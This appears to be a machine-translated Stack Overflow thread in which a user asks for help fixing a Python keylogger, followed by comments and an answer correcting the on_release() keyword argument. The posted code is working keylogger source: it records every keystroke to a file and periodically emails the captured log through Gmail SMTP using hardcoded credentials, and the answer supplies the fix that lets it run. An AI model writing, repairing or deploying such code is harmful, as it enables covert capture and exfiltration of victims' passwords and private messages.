【问题标题】:Hello, i have problem with my code, what i do correct?你好,我的代码有问题,我做对了吗?
【发布时间】:2020-10-30 06:54:59
【问题描述】:

我的代码有问题,我做对了什么? 键盘回调有什么问题?

> import keyboard 
> import smtplib from threading  
> import Semaphore, Timer
> 
> REPORT_TIME = 1200
> EMAIL_ADDRESS = "mail95069a@gmail.com" 
> EMAIL_PASSWORD = "password123"
> 
> class Keylogger:
>     def __init__(self, interval):
>         self.interval = interval
>         self.log = ""
>         self.semaphore = Semaphore(0)
> 
>     def keyboard_callback(self, event):
>         name = event.name
>         if len(name) > 1:
>             if name == "space":
>                 name = " "
>             elif name == "enter":
>                 name = "[ENTER]\n"
>             elif name == "decimal":
>                 name = "."
>             else:
>                 name = name.replace(" ", "_")
>                 name = f"[{name.upper()}]"
> 
>         self.log += name
>         output = open("output.txt", "w+")
>         output.write(self.log)
> 
>     def send_gmail(self, email, password, message):
>         server = smtplib.SMTP(host="smtp.gmail.com", port=587)
>         server.starttls()
>         server.login(email, password)
>         server.send_gmail(email, email, message)
>         server.quit()
> 
>     def report(self):
>         if self.log:
>             self.send_gmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
>         self.log = ""
>         Timer(interval=self.interval, function=self.report).start()
> 
>     def start(self):
>         keyboard.on_release(keyboard_callback=self.keyboard_callback)
>         self.report()
>         self.semaphore.acquire()
> 
> 
> if __name__ == "__main__":
>     keylogger = Keylogger(interval=REPORT_TIME)
>     keylogger.start()

Traceback(最近一次调用最后一次):

进程以退出代码 1 结束 文件“C:/Users/Keylogger.py”,第 58 行,在

    keylogger.start()

文件“C:/Users/Keylogger.py”,第 51 行,开始

    keyboard.on_release(keyboard_callback=self.keyboard_callback)
TypeError: on_release() got an unexpected keyword argument 'keyboard_callback'

【问题讨论】:

  • on_release() 的函数定义是否说它接受关键字参数?
  • 您只需使用函数名称即可指定键盘回调。即on_release(self.keyboard_callback)

标签: python keylogger


【解决方案1】:
...
def start(self):
        keyboard.on_release(callback=self.keyboard_callback)
        self.report()
        self.semaphore.acquire()
...

【讨论】:

    猜你喜欢
    • 2020-02-03
    • 2021-09-14
    • 2020-08-13
    • 2014-03-01
    • 1970-01-01
    • 1970-01-01
    • 2014-07-19
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多